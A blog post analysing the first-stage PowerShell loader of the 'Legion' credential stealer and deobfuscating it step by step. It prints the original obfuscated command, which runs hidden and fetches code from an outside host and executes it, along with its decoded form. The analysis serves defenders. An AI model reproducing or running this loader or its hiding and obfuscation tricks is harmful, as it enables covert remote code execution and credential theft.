Picking Apart the Legion PowerShell

Kindred Security does a great job of pulling apart the Legion PowerShell credential stealer on YouTube, but I thought I would do a little more work to break down the PowerShell commands used in all their gory detail.

If you haven’t watched Kindred Security’s video, go do it now. It should be linked above. I’ll wait.

Stage One

Everything starts with legion.ps1.

cmd.exe /c start /B powershell -windowstyle hidden -command "&{$t='#i#ex##################@(n#ew###-#ob#jec#t N#####et#.W#eb#Cl#ie#nt#).#Up#loa#d#####St#ri#ng(#''h#t#tp#:#//legion1488.info/leg#ion1#7#/#w#el#co#me''#,#''H#or#seHo#urs''#)#|#i#e#x'.replace('#','').split('@',5);&$t[0]$t[1]}"

Let’s pick this apart. First, the script runs cmd.exe. This starts the usual command shell on Windows, but with several options. To understand those options you can head to the Microsoft documentation or, possibly, head to SS64. You can find the documentation specifically for cmd.exe here.

The /c start runs the start command and then exits. That means the rest of the options are passed to the start command, documented here. This command starts a new window and then runs a program in that window. The /B powershell option tells the start command to not open a new window and to run the command powershell. The remaining options are passed to the powershell command, documented here.

If you run cmd.exe /c start /B powershell at a PowerShell prompt, you’ll just end up in a nested PowerShell instance. So… why do that? Well, one reason is that whether you run this in a Command Shell or in a PowerShell, you’ll end up in a PowerShell, with no new, possibly suspicious, windows appearing.

Now the actual PowerShell command can run. The options are -windowstyle hidden (which is self-explanatory) and -command, followed by the command to run, which we will pick apart later. For now, let’s take another look at what happens when the command runs.

Close all command windows, open the Task Manager with CTRL+ALT+DEL, then open a single new PowerShell window. You should see the instance appear in the “Apps” list.

PowerShell running

Now run the following command in the PowerShell window.

cmd.exe /c start /B powershell -windowstyle hidden -command "dir"

Did the window vanish? That’s because it is now hidden. You can run this from a nested shell inside a window, and the containing window will be hidden. Check the process listing; it should be gone from the “Apps” list, but you can find it in the “Background Processes” list. Stealthy stuff.

The PowerShell process is now in the background

You can find the Console Windows Host process in “Windows processes.”

You can (and should) kill off both processes.

I think this is a bit of overkill, and that the initial cmd.exe /c start is not needed… but I could certainly be wrong. Feel free to comment and let me know.

Obfuscation

Like any good malicious payload, this one is obfuscated. The command that is executed is in double quotation marks, which we remove here.

&{$t='#i#ex##################@(n#ew###-#ob#jec#t N#####et#.W#eb#Cl#ie#nt#).#Up#loa#d#####St#ri#ng(#''h#t#tp#:#//legion1488.info/leg#ion1#7#/#w#el#co#me''#,#''H#or#seHo#urs''#)#|#i#e#x'.replace('#','').split('@',5);&$t[0]$t[1]}

Next is the &{ ... } or “call” structure. This just tells PowerShell to interpret the thing inside the braces as a command to execute. Read about it here. We can unwrap that, and note that semicolons (;) join multiple commands on a single line.

$t='#i#ex##################@(n#ew###-#ob#jec#t N#####et#.W#eb#Cl#ie#nt#).#Up#loa#d#####St#ri#ng(#''h#t#tp#:#//legion1488.info/leg#ion1#7#/#w#el#co#me''#,#''H#or#seHo#urs''#)#|#i#e#x'.replace('#','').split('@',5)
&$t[0]$t[1]

Don’t worry about the second line just yet.

The first line defines a variable $t. This variable is a string, consisting of the characters inside the single quotation marks… with one exception. A pair of single quotation marks ('') becomes a single quotation mark (that’s how you “escape” single quotation marks in a string). Thus the string is as follows.

#i#ex##################@(n#ew###-#ob#jec#t N#####et#.W#eb#Cl#ie#nt#).#Up#loa#d#####St#ri#ng(#'h#t#tp#:#//legion1488.info/leg#ion1#7#/#w#el#co#me'#,#'H#or#seHo#urs''#)#|#i#e#x

A method is then invoked on the string: replace('#',''), documented here. This replaces every hash mark with the empty string and gives the following.

iex@(new-object Net.WebClient).UploadString('http://legion1488.info/legion17/welcome','HorseHours')|iex

This is certainly much more readable. Next, another method is invoked: split('@',5), documented here. There is nothing special about the 5; it could be any number greater than one to specify the maximum number of lines. This just splits the line at the at symbol (@) and yields an array of two lines, $t[0] and $t[1].

$t[0] = "iex"
$t[1] = "(new-object Net.WebClient).UploadString('http://legion1488.info/legion17/welcome','HorseHours')|iex"

Now the last line of the script might make more sense.

&$t[0]$t[1]

We substitute and obtain the following.

&iex(new-object Net.WebClient).UploadString('http://legion1488.info/legion17/welcome','HorseHours')|iex

The leading ampersand (&) just results in the concatenated string being interpreted.

Executing

The Kindred Security video does a great job explaining what happens next, with another file being downloaded (welcome.ps1) and executed, so I recommend you watch the video for the rest of the story.

Leave a Reply

Your email address will not be published. Required fields are marked *